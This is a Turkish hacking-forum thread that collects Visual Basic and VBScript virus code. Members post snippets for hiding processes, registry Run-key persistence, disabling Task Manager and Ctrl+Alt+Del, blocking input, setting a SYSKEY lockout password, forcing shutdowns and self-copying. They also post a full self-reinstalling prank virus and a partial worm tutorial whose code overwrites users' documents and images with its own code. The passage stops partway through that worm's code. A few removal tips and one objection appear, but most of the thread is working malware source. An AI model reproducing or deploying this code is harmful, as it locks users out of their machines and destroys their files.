Visual Basic Virüs Kod Arşivi

mbk.
Forum Kalfası

Bu konuda bir virüs yazdığımızda ekleyebileceğimiz kodları paylaşalım... ve yazdığımız virüslerden
forumdakilerin etkilenmemesi için kurtulma yollarını yazalım.


Not: Bunlardan bazıları forumda mevcut olabilir ama tek konuda toplanması için yazdım . sizde yazarsanız iyi bir kaynak olacağını düşünüyorum.

Not2: Kod dışında postlar atmaz ve bu postları silersek daha iyi ve düzenli olur. sorular için pm den ulaşırız veya cevabı alınca sileriz.


Kod:
Private Sub Timer1_Timer()
Clipboard.Clear
Clipboard.SetText "wardom.org"
End Sub
bu kod clipboard a wardom.org kelimesini ekliyo ve copy/paste işleminde hep wardom.org yazmasını sağlıyor

----------------------------

Kod:
me.hide
app.taskvisible=false
formun açılmaması ve görev yöneticisinde gözükmemesi için

----------------------------

Kod:
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
xp başlangıcına eklemek

----------------------------

Kod:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const WM_SETTEXT = &HC
Dim yazi As String

Private Sub Form_Load()
yazi = "wardom"
App.TaskVisible = False
Form1.Hide
End Sub

Private Sub Timer1_Timer()
Dim tWnd As Long, bWnd As Long

tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
SendMessage bWnd, WM_SETTEXT, &O0, yazi
End Sub
Başlat yazısını değiştirmek

----------------------------

Kod:
Private Sub Form_Load()
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeCaption", "Wardom"
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeText", "Bilginin adresi"
End Sub
windows başlamadan önce okunması için pencere açar

----------------------------

Kod:
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long

Private Sub Command1_Click()
mciExecute ("set cdaudio door open")
End Sub

Private Sub Command2_Click()
mciExecute ("set cdaudio door closed")
End Sub
cdrom açma ve kapama işlemini yapar

----------------------------

Kod:
Private Sub Form_Load()
App.TaskVisible = False
Form1.Visible = False
Shell "SYSKEY.EXE", vbNormalFocus
SendKeys "G", 1
SendKeys "B", 1
SendKeys "{TAB}", 1
SendKeys "wardom", 1
SendKeys "{TAB}", 1
SendKeys "wardom", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
End
End Sub
xp başlangıç parolası koyar. xp açılmadan önce sorulur oturum açma ekranı gelmeden önce .

deneyenler şifrenin "wardom" olduğunu unutmasın
----------------------------

Kod:
Shell "shutdown -s -t 20", vbHide
bilgisayarı kapatır
Kod:
Shell "shutdown -r -t 20", vbHide
yeniden başlatır
Kod:
Shell "shutdown -l -t 20", vbHide
oturumu kapatır
Kod:
Shell "shutdown -a", vbHide
kapatma işleminden çıkar
Kod:
Shell "shutdown -f", vbHide
çalışan uygulamaları uyarmadan kapanmaya zorlar


Kullanım: shutdown [-i | -l | -s | -r | -a] [-f] [-m \\bilgisayaradı] [-t xx] [-c "yorum"] [-d up:xx:yy]

No args Bu iletiyi görüntüle (-? ile aynı)
-i GUI arabirimini görüntüle, ilk seçenek olmalı
-l Oturum kapat (-m seçeneği ile kullanılamaz)
-s Bilgisayarı kapat
-r Bilgisayarı kapat ve yeniden başlat
-a Sistem kapatmasından çık
-m \\bilgisayaradı Yeniden başlatmak/çıkmak için uzak bilgisayar
-t xx Kapatmak için zaman aşımını xx saniyeye ayarla
-c "comment" Kapatma yorumu (en çok 127 karakter)
-f çalışan uygulamaları uyarmadan kapanmaya zorlar
-d [p]:xx:yy Kapatma için neden kodu
u kullanıcı kodu
p planlı kapatma kodu
xx asıl neden kodu (256'dan küçük pozitif tamsayı)
yy ikincil neden kodu (65536'dan küçük pozitif tamsayı)



----------------------------

Kod:
Private Sub Form_Load()
Timer1.Interval = 100
End Sub

Private Sub Timer1_Timer()
Beep
End Sub
durmadan Beep sesi çıkarıyo gıçık edici bi kod :)

----------------------------

Kod:
Dim speech As SpVoice

Private Sub Command1_Click()
speech.Speak Text1
End Sub

Private Sub Form_Load()
Set speech = New SpVoice
End Sub
yazıları sese çevirir korkutmak için ideal :) durmadan hacked sesinin geldiğini düşünsenize :D:D

üstteki uygulama için 1 buton 1 text eklemeniz
ayrıca project > preferences sekmesinden microsoft speech object library eklemeniz gerekiyor.​

----------------------------
Kod:
Private Sub Form_Load()
Printer.Print "www.wardom.org Bilginin adresi"
End Sub
yazıcıdan çıktı almak ta gayet korkutucudur :)

-----------------------------
Kod:
Private Sub Form_Load()
Timer1.Interval = 100
End Sub

Private Sub Timer1_Timer()
SendKeys "hacked", 1
End Sub
hersaniye klavyeden hacked yazmış gibi olur. bir yazı yazması imkansız hale gelir
internet arama yapması internete girmesi imkansız hale gelir çünkü adresi yazmaz
hep hacked yazar :D

-----------------------------
Kod:
Shell "ipconfig /release"
eşleşen tüm bağlantıları serbest bırakır. Yani internet bağlantısını keser.

Kod:
Shell "ipconfig /renew"
tüm bağlantıları yeniler. tekrar ip adresi alıp internete bağlar.


-----------------------------

turkhacking®

Arkadaşlar bilgisayarın Görev Yöneticisini Kayapabilmek için gereken kodları aşağıya yazdım bu kodları formda yerine yerleştirirseniz CTRL+ALT+DEL e bastıgı zaman hazırladığınız programı kapanması için görevi sonlandırması gerekecek onuda yapmasına imkan vermiyecez..! Bunu uygulamak için öncelikle form a 2 tane Command butonu yerleştirelim ve bu aşağıdaki kodları form a yapıştırın.!
Command1: Görev Yöneticisini Aktif Yapmak için.
Command2: Görev Yöneticisini Kapatmak için.

Kod:
Option Explicit
Dim r As Long
Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value
End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub

Public Property Get ReadKey(Value As String) As String
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
r = b.RegRead(Value)
ReadKey = r
End Property
Public Sub DeleteKey(Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value
End Sub

' Simdi Taskmanager'i enable / diable yapabiliriz.
'0= enable, 1=disable
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1" 
'KOMUTLAR BUTONLARA VERİLDİ AMA PUPLİC FONKSİYON NEDİR SORULACAK

' En kolayı birer fonksiyon yazarak onnları çağırmak. Fonksiyonları public yazın da program içinden her yerden çağırılsın:

Public Function Disabletaskmanager()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1"
End Function

Public Function enabletaskmanager()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "0"
End Function

Private Sub Command1_Click()
call enabletaskmanager
End Sub

Private Sub Command2_Click()
call Disabletaskmanager
End Sub
Bitti... Bu en çok kullanılanıdır ;)
Size tavsiyem Muhakkak timerların kod bölümüne koymanızdır disabled bölümlerini.
Çünkü karşıdaki enabled edebilmek için kod yazarsa kurtulması kolay olacaktır...

-----------------------------

Uncrgyer

Kod:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Private Sub Form_Load()
BlockInput True
End Sub
Klavye ve fareyi etkisiz hale getirir

----------------------------

AcTioN

Kod:
Private Sub Form_Load()
         SendKeys "{HOME}"
         SendKeys "{ENTER}"
End Sun
Buton eklemeniz gerekir. Sürekli enter yollayarak Mouse kilitlenmesini sağlar

----------------------------

asiatico

Formun üzerine bir adet timer eklemeniz yeterli olacaktır..

Kod:
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 500
App.TaskVisible = False
On Error Resume Next
Me.Hide
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
End Sub

Private Sub Timer1_Timer()
Dim asia1, asia2, asia3, asia3
asia1 = Rnd * 100
asia2 = App.Path & "\" & App.EXEName & ".exe"
asia3 = asia1 & ".exe"
FileCopy yol, "c:\" & asia3 & ""
End Sub
Yarım saniyede C:\ diskine 100 adet kopyalar ve kendini gizler.Kendini windows açılış kayt defterine ekler boylece her açılışta yeniden açılır . . .

 
- Yönetici düzenlemesi: :
asiatico
Hızlı Çırak
Bendende Küçük bir Kod Buyrun . . .

Formun üzerine bir adet timer eklemeniz yeterli olacaktır..

Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 500
App.TaskVisible = False
On Error Resume Next
Me.Hide
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
End Sub

Private Sub Timer1_Timer()
Dim asia1, asia2, asia3, asia3
asia1 = Rnd * 100
asia2 = App.Path & "\" & App.EXEName & ".exe"
asia3 = asia1 & ".exe"
FileCopy yol, "c:\" & asia3 & ""
End Sub

= Yarım saniyede C:\ diskine 100 adet kopyalar ve kendini gizler.Kendini windows açılış kayt defterine ekler boylece her açılışta yeniden açılır . . .
 
mavisimtrak
Cool Üye
benım merak ettıgım bı olay var
ben sımdı antı vırus kullanmayıp depfreze kullansam depfrezee acıkken kayıt defterıne vırus yerlesse bıseyler olsa resetledıgımde duzelırmı acaba
 
Blot
Forum Kalfası
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Private Sub Form_Load()
BlockInput True
End Sub

Klavye ve fareyi etkisiz hale getirir

Paylaşım için saol
 
kralkayra
Cool Üye
Yıkıcı olmayin yapici olun birazda arkadaslar hep virus diyorsunuz insanlarin hizmetine yarar bi projeler yapsaniz valla ben pc me virus girdiginde o virusu yazanin tüm sulalesine sövüyorum sizde bence virus yazmayin benim pc me denk gelirse sizin yazdiginiz virus harbi küfürü yersiniz
 
mbk.
Forum Kalfası
bunlar virüslere eklenebilecek kodlar oldukları kadar projelerimizde de kullanabileceğimiz kodlardır.
mesela

cd rom açma kapama
yazıyı sese çewirme
çıktı alma
clipboard doldurma
xp başlangıç parolası koyma
xp açılışında uyarı verme
programı başlangıca ekleme
program içinden klavyeyi kullanmak
bilgisayarı kapatmak, oturumu kapatmak, yeniden başlatmak

vs vs
...

yani bir yazılımcı virüs yazarak ince ayrıntıları görmeli ve neler yapabileceklerinin farkına varmalıdır

ben yazdığım virüsü kimseye göndermem kendi bilgisayarımda açarım sonra düzeltmek için uğraşırım
sonrada silerim.ama bana kattığı birçok şey vardır.

herkezin düşüncesine saygı duyarım

MbK
 
çinpe_kalesi
Hızlı Çırak
Bendende Küçük bir Kod Buyrun . . .

Formun üzerine bir adet timer eklemeniz yeterli olacaktır..

Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 500
App.TaskVisible = False
On Error Resume Next
Me.Hide
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
End Sub

Private Sub Timer1_Timer()
Dim asia1, asia2, asia3, asia3
asia1 = Rnd * 100
asia2 = App.Path & "\" & App.EXEName & ".exe"
asia3 = asia1 & ".exe"
FileCopy yol, "c:\" & asia3 & ""
End Sub

= Yarım saniyede C:\ diskine 100 adet kopyalar ve kendini gizler.Kendini windows açılış kayt defterine ekler boylece her açılışta yeniden açılır . . .


bu kodunda 2 kez
Kod:
Dim asia1, asia2, asia3, asia3
asia3 ü 2 kez yapmışsın yanlış anlama eleştirmek için demiyom :)
 
çinpe_kalesi
Hızlı Çırak
al :)


Yazıda geçen herşey tamamen eğitim amaçlıdır.
Bu yazıda örnek virüsler ve açıklamalarıyla virüs yapmayı anlatıcam .Virüslerin yapılışını anlayınca kendi korunma yöntemlerinizi üretebileceksiniz.Ama ben yine de en iyi yöntemleri yazdım.
Öncelikle virüslerin ve trojanların mantığına bakalım.Maalesef bunları yararlı ve zararlı olarak ikiye ayıramıyoruz çünkü hepsi zaravermek için yazılmıştır.Bu programların belli amaçları vardır.

Şimdi virüslerin amaçlarını kısaca sıralayalım

1)Bilgisayardaki bilgileri paylaşıma açık hale getirmek

2)Bulaştığı bilgisayar üzerinden kendini yaymak

3)Bilgisayarı sürü posta(spam) yapma aracı olarak kullanmak

4}Bilgisayarı kullanılmaz hale getirmek

Tabii ki her virüste bunların hepsi olacak diye bir şart yok.Zaten günümüzde genelde tek bir konuda iyi fakat çok güçlü virüsler yapılıyor.İşin kötü yanı bunların çoğunu 13-15 yaş arası ÇOCUKLAR yapıyor.Örneğin ben bile 10 dakika ayırarak bilgisayar ustalarının bile çileden çıkartacak virüsler yapabilirim.Bunun için programlama kitabı almaya bile gerek yok.İnternetten bulacağınız programlama sitelerinde (dikkat edin hacker siteleri demiyorum) bulacağınız kodlara bir kaç küçük rötuşla bile çok zaralı bir virüs yapılabilir.

Şimdide virüslerin neler yapabvileceğine bakalım bunları aşağıda sıraladım

1)Siz farkında olmadan bilgisayarı formatlamak

2)Antivirüsleri atlatmaya çalışmak

3)Bilgisayardaki bilgileri yaymak

4)Kendini Bilgisayar başlarken ya da belli bir programla birlikte başlatarak sürekli yaptığı işi yinelemek.

Şimdi fazla zaralı olmayan ufak bir virüs örneğine bakalım.

Bu virüs fazla kötü değil.Yaptığı şeyler Cd-rom u sürekli açıp kapatmak (ancak koli bandı tarzı birşey yapıştırarak durdurabilirsiniz bu da uzun vadede cd-rom a zarar vercektir.)Bu programı windows açıkken silmek ya da kapatmak imkansız.Ben kapatırım falan demeyin gerçekten imkansız ben 1,5 saat uğraştım kesinlikle kapatamıyorsunuz.Bu program bu kadar işi yapınca bilgisayarın performansınıda olumsuz yönde etkiliyor tabii.Yani yöntemi bilmeyen bir kullanıcının kurtulması imkansız.

UYARI:Bunları ne kendi ne de başkalarının bilgisayarında çalıştırmayın.Çalıştırırsanız olcaklardan ben sorumlu değilim

Oluşturmamız gerek tek öğe bir "Timer" bu öğe solda saat şeklinde zaten bunu bilmiyorsanız bundan sonrasını yapmayın.Ayrıca timer ın interval değerini 1 yapın.

Bundan sonraki kodların açıklamasını ben yanlarına yazdım bu açıklamalar programı engellemez yani silmenize gerek yok.



Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long ' Bu kod Cd rom u açıp kapatmaya yarayan özelliği tanımlıyor

Private Declare Function SystemParametersInfo Lib _ 'burdaki 8 satır kod ise programı kapatmak için gereken tuş kombinasyonu yani ctrl alt del tuşlarını kapatmaya yarayan özelliği tanımlıyor
"user32" Alias "SystemParametersInfoA" (ByVal uAction _
As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
ByVal fuWinIni As Long) As Long

Sub CtrlAltDeleteKapat(Kapali As Boolean)
Dim X As Long
X = SystemParametersInfo(97, Kapali, CStr(1), 0)
End Sub

Private Sub Form_Load()
Me.Hide 'programı görünmez yapıyor
On Error Resume Next 'hata olursa hatayı atlayıp sonraki koda devem etmeyi sağlıyor
Call CtrlAltDeleteKapat(True) 'Yukarıda tanımladığımız ctrl alt del tuş kombinasyonunu kapatıyor
FileCopy App.Path + "/" + App.EXEName + ".exe", "C:\Windows\System\DLLs\win.exe" 'kendini windows dosyaları arasına kopyalıyor aradığınızda çok ta belli olmuyor
Dim KayitDefteri As Object 'end sub komutuna kadar olan bölüm ise programın windows her başladığında programın kendini yeniden açmasını sağlıyor
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURR ENTVERSION\RUN\Windows", "C:\Windows\System\DLLs\win.exe", "REG_SZ"
End Sub

Private Sub Form_Terminate()
Shell App.Path + "/" + App.EXEName + ".exe" 'program kapatılırsa kendini yeniden açıyor
End Sub

Private Sub Form_Unload(Cancel As Integer)
Shell App.Path + "/" + App.EXEName + ".exe" 'bu da yukarıdaki ile aynı işlevde ama ben garantili olsun diye koydum
End Sub

Private Sub Timer1_Timer()
mciExecute ("Set CDAudio door Open") 'Bu ise yukarıda bahsettiğimiz cd rom u açma özelliğini çalıştırıyor
mciExecute ("Set CDAudio door closed") 'bu bölüm cd rom u kapatıyor tabii bunları üst üste yazınca cd rom sürekli açıp kapanıyor.
End Sub

İlk örneğimiz bitti şimdi ikinci ama en sinir edici virüse geçelim.
Bu virüs için bayaa uğraşmanız gerekiyor.Ama virüslerden kurtulmak için yapmayı bilmek gerekiyor zaten antivirüs şirketlerinde yüksek yerlere gelenlerin çoğu eskiden virüs yazarlığı yapmış sakın yanlış anlamayın ben size virüs yazın demiyorum.Çünkü insanlara zara vermek hoşunuza gidiyorsa bir piskoloğa gitmenizi tavsiye ederim.Neyse konuyu dağatmayalım.
İlk önce oluşturduğumuz formun özelliklerinde ki "BorderStyle" özelliğini "none" ye getirin "BackColor" ı ise siyah renk yapın daha sonra "WindowState" i ise "Maximized" yapın.

Şimdi kodlara geçelim

Const HWND_TOPMOST = -1 ' Hep üstte tutan değişken değer
Const HWND_NOTOPMOST = -2 ' Hep üstte özelliğini yok eden değişken değer...
Const SWP_NOSIZE = &H1 ' Formun boyutlarını değiştirilmez yapar...
Const SWP_NOMOVE = &H2 ' Formu taşınmaz yapar...
Const SWP_NOACTIVATE = &H10 ' Form Aktif yapılmaz...
Const SWP_SHOWWINDOW = &H40 ' Pencere Görünür Yapılır...
Private Declare Sub SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, _

ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
Private Declare Function SystemParametersInfo Lib _
"user32" Alias "SystemParametersInfoA" (ByVal uAction _
As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
ByVal fuWinIni As Long) As Long
Sub CtrlAltDeleteKapat(Kapali As Boolean)
Dim X As Long
X = SystemParametersInfo(97, Kapali, CStr(1), 0)
End Sub

Private Sub Form_Activate()
SetWindowPos Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE _
Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
End Sub

Private Sub Form_Load()
FileCopy App.Path + "/" + App.EXEName + ".exe", "C:\Windows\System\DLLs\win.exe" 'kendini windows dosyaları arasına kopyalıyor aradığınızda çok da belli olmuyor
Call CtrlAltDeleteKapat(True)
App.TaskVisible = False
Dim KayitDefteri As Object 'Kendini başlata kopyalıyo
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURR ENTVERSION\RUN\Windows", "C:\Windows\System\DLLs\win.exe", "REG_SZ"
End Sub

Private Sub Form_Terminate()
shell "C:\Windows\System\DLLs\win.exe"
End Sub

Virüsler bitti biraz deneyimi olanlar kodları çözmüştür zaten yine de ben açıklamalarını yazdım.

KORUNMA YÖNTEMLERİ

Yazının başlarında da bahsettiğim gibi virüsler kendini genelde windows ile birlikte başlatır.Tabii burda programın yeride yazar.
Şimdi sizi virüslerden kurtaracak yöntemleri sıralayalım :

1)Bilgisayar başlarken sürekli F8 tuşuna basın

2)Çıkan seçeneklerde güvenli kipi seçin

3)Windows açılınca "Başlat" ı açın ve orda "Çalıştır"a tıklayın "msconfig" yazın(tırnaklarıyla birlikte yazmayın).

4)Açılan pencerede Başlangıç sekmesine etkinleştirin.

5)Orada yüklemediğiniz programların çek işaretini kaldırın ama çok dikkatli olun acemi kullanıcıların bu ayarlarla oynamasını pek tavsiye etmiyorum.Şüphelendiğiniz program(lar)ın dizinini ve adını bir kağıda yazın

6)Bilgisayarı yeniden başlatın ve 1 maddeyi tekrarlayın daha sonra seçeneklerde "Sadece MS-Dos" u seçin

7)Şimdi biraz dos çalışalım klasöre erişmek için "cd" yazın boşluk bırakıp kağıda yazdığınız klasörlere teker teker girin

8)programın bulunduğu klasöre ulaştığınızda "del" yazıp boşluk bırakıp programın adını yazın ve ENTER a basın


sözü geçen kodlar VB prog. aittir umarım açıklayıcı olmuştur
 
çinpe_kalesi
Hızlı Çırak
Bu Makalemde Bir Virüsün Yapısını Virüs Yazarak İnceleyeceğiz :)

Belki Bu Makale Birilerin Canını Fena Halde Yakabilir, Ama Bir Virüsü Anlamak İleride Başınıza Gelebilecek Muhtemel Olaylarda Çözümde Olabilir Ve İçindeki Bir Çok İpucu İşinizide Görebilir Virüsü Programlayacağımız Dil VBS(VISUAL BASIC SCRIPT)

Şimdi bir nevi worm (solucan) yazacaz. Makalemi okuduktan sonra neden worm denildiğini çok iyi anlarsınız umarım ;-)

Worm’u Yazarken NT sistemleri Hedef alıyoruz. Tam bir baş belası .txt, jpg, doc, ttf, bmp gibi uzantılarına sahip dosyalara kendini yazıyor. Size makaleyi okurken nereleri test edebileceğinize belirticem. Aksi takdirde bazı yerler sizinde başınızın belası olabilir...

Solucanımız 3 Aşamadan Meydana Gelecek;
1-Bulaşma
2-Fırtına Öncesi Sessizlik (Kuluçka)
3-Çoğalma ve Yok etme

1-Virüsler Bir Bilgisayara Bir Çok Yoldan Bulaşabilir Disketlerden, web sayfalarından, e-mailden, dosyadan vb... Worm Tipi Virüsler Genelde e-mail yoluyla bulaşır. Bullaşma Konusunu Sakıncalı olduğu için Bulaşma konusunu anlatmayacağım. Fakat Wormların Nasıl e-maillere ulaştıklarını merak edenler için sanırım aşağıdaki satır açıklayıcı olur;

Set Outlook = CreateObject("Outlook.Application")



2-Kuluçka Virüsün(Worm un) aktifleşmeyi beklediği zaman sürecidir. Bu virüsün yapısına göre değişebilir.

3-Çoğalma ve Yok etme Worm un aktif olduğu zaman ne halt karıştıracağıdır bu da virüsün yapısına göre değişir ;-)

Eğer Hazırsanız Şimdi Kodlara Geçelim ;-))

PHP:
Dim RegVeYol,Yol,Sys,Ben,str,App
Set RegVeYol = CreateObject( "Wscript.Shell" )
set Shell = WScript.CreateObject( "WScript.Shell" )

’Virus Dosya İşlemleri Ve Bir Çok İşlem İçin Scripting.FileSystemObject ve WScript.Shell Nesnesini Kullanıyor

Set Yapici =CreateObject( "Scripting.FileSystemObject" )
Set Ben = Yapici.GetFile( WScript.ScriptFullName)

’Sadece CdRom Kapağını Açmak İçin WMPlayer.OCX.7 kulanıyor
Set CdRom = CreateObject( "WMPlayer.OCX.7" )

’WScript.Network Nesnesi Belki Birçok Olay İçin Kullanıla Bilir ama Virüs Sadece Kullanıcı Adını Bulmak İçin Kullanıyor
Set KurbanPc = WScript.CreateObject( "WScript.Network" )
KurbanName= KurbanPc.UserName

’Virüs İlk Çalıştığında Registry Da Olup Olmadığını Kontrol Ediyor

on error resume next
str= RegVeYol.RegRead ("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun")

’Üsteki Satırda Registry Den Okuyor

’Aşağıdaki kontrol bloğu ise kendisi Registry ye yazılmış ise Virüs aktif hale geçiyor aksi durumda
’Ki genelde ilk çalışdığında öyle olacak
’Kendini Windows her başladığında çalışmak üzere Registry yazar ve kendisini WindowsSystem32 dizinine Windows.VBS adında ’kopyalar

if str<>Yapici.GetSpecialFolder(1)&"Windows.vbs"Then
Ben.Copy (Yapici.GetSpecialFolder(1)&"Windows.vbs")
RegVeYol.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun",Yapici.GetSpecialFolder(1)&"Windows.vbs"
end if

’Artık Worm Windows Tekrar ilk başladığında Aktif hale gelecek


’Worm aktifleştiğinde yapacağı ilk iş Saat i ve Tarihi bozmaktır
’Windows Saat ve Tarih Ayarlarını açar ve SendKeys metodunu kullanarak saat ve tarihi değiştirir.
’Saat i :00:00 ve tarihide 01 çalıştığı gün 2099 ayarlar
’Böylece sistem saatine bağlı çalışan uygulamada çalınmaz duruma gelecektir.

’aşağıdaki satırlar bu işi yapar

shell.Run "RUNDLL32 SHELL32.DLL,Control_RunDLL TIMEDATE.CPL,@0,",0
shell.AppActivate "TIMEDATE"
WScript.Sleep 100
Shell.SendKeys "{PGUP}"&"{TAB}"&"{BS}"&"{TAB}"&"{TAB}"&"0"&"{TAB}"&"0"&"{TAB}"&"0"&"{TAB}"&"~"



’Registry ile görev yöneticisi pasif yapıyor.
RegVeYol.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr", "1"



’User32den SwapMouseButton fonksiyonunu çağırıyor ve Mouse’un Sağ Buttonu İle Sol Buttonu değiştiriyor
Shell.Run ("RUNDLL32 USER32.DLL,SwapMouseButton")



’Aşağıdaki Satır İse Windows dizindeki bir Wav dosyasını çalıştırır ben bulaştım sana diyor
’Komutun sonundaki “0” parametresi ise Media Player ı gizler
’Shell.Run "ALSNDMGR.wav",0

’Virüs ben bulaştım sana demeye devam ediyor ve yine SendKeys metodunu kullanarak
’klavye ışıkları ile oynuyor Kara şimşek Yapıyor.
’Sleep Ler Bir Komutdan Diğerine Bekleme Süresini Veriyor

for a=0 to 100
WScript.Sleep 40
Shell.SendKeys "{NUMLOCK}"
WScript.Sleep 100
Shell.SendKeys "{CAPSLOCK}"
WScript.Sleep 100
Shell.SendKeys "{SCROLLLOCK}"
next

’Buda yetmiyor not defterini acıp mesajlalar veriyor

Shell.Run "notepad"
WScript.Sleep 40
shell.AppActivate "NOTEPAD"
WScript.sleep 250
for a=0 to 100
WScript.Sleep 100
Shell.SendKeys KurbanName & " Beni Anlamak İstiyor Musun?

’“~” Karakteri Enter tuşu görevi yapıyor

Shell.SendKeys "~"
Shell.SendKeys "Ölüler Konuşuyor Duymuyor Musun?"
Shell.SendKeys "~"&"~"
next

’Bir web adresini aç ıyor

shell.Run ("rundll32.exe url.dll,FileProtocolHandler http://Www.YeŞiL.WorM")

’Cdrom Kapaklarını Acıyor

on error resume next
CdRom.cdromCollection.Item(0).eject
CdRom.cdromCollection.Item(1).eject

’**’ İyi bir Windows Bilgisine Sahip İseniz Buraya Kadar Yazılanları Bilgisayarınızda Test Edebilirsiniz Ve Worm un Bilgisayarınızda ’Yaptığı Değişiklilikleri Düzeltiniz .
’Bura dan Sonra Yazılanları Test Etmeniz Önerilmez! Bundan yazarı sorumlu tutamazsınız ;-)

’Aşağıdaki Satırlar Bir Worm’u Solucan Yapan Satırların Ta kendisi
’Yani Çoğalma Ve Yok Etme Kullanıcı Worm ‘un Yaptığı İşler İle Uğrasa dursun
’Bakın Worm Neler Yapıyor.

’Önce Dizin Adındaki 7 indisli dizi değişkenine 7 Adet Klasör Atıyor
’Dizi yi For döngüsüne bağlayıp dizinlerdeki belirtilen dosya uzantılarındaki dosyaları buluyor
’Önce Bulduğu Dosyanın İçeriğin e Kendini Yazıyor
’Ve dosya_adı.uzantısı.vbs olarak bir kopyasını oluşturduktan sonra
’eski dosyayı siliyor.

Dim Dosya,, DosyalariBul, Dosyalar, Bul,Dizin(7)
Dizin(0)=Yapici.GetSpecialFolder(0)
Dizin(1)=Yapici.GetSpecialFolder(1)
Dizin(2)=Yapici.GetSpecialFolder(2)
Dizin(3)=RegVeYol.SpecialFolders("MyDocuments")
Dizin(4)=RegVeYol.SpecialFolders("Desktop")
Dizin(5)=RegVeYol.SpecialFolders("Fonts")
Dizin(6)=RegVeYol.SpecialFolders("Favorites")
Dizin(7)=RegVeYol.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload Directory")
for i=0 to 7

’Kendisini Acıyor
Set Dosya = Yapici.OpenTextFile(WScript.ScriptFullName,1)

’for Dönsünde Her bir dönüşte Bir Sonraki Dizine Geçiyor

Set DosyalariBul = Yapici.GetFolder(Dizin(i))


’Dizin İçindeki Dosyaları Alıyor
Set Dosyalar = DosyalariBul.Files


’Yaz Değişkenine Kendi İçeriğini Veriyor.
Yaz = Dosya.ReadAll


’Bulunan Dosya Sayısı Kadar Döngüye Giriyor
’Ve Dosyalar Bulunuyor.

For each file1 in Dosyalar
uzantilar = Yapici.GetExtensionName(file1.path)
uzantilar = lcase(uzanti)


’Belirtilen Türde Dosya Buldu ise İçeriğine Kendini Yazıyor Siz Burda Dosya Türünü Değiştirip Deneye Bilirsiniz.

If (uzantilar = "txt") or (uzantilar = "jpg")or(uzantilar = "bmp")or (uzantilar = "ttf")or (uzantilar = "doc") Then
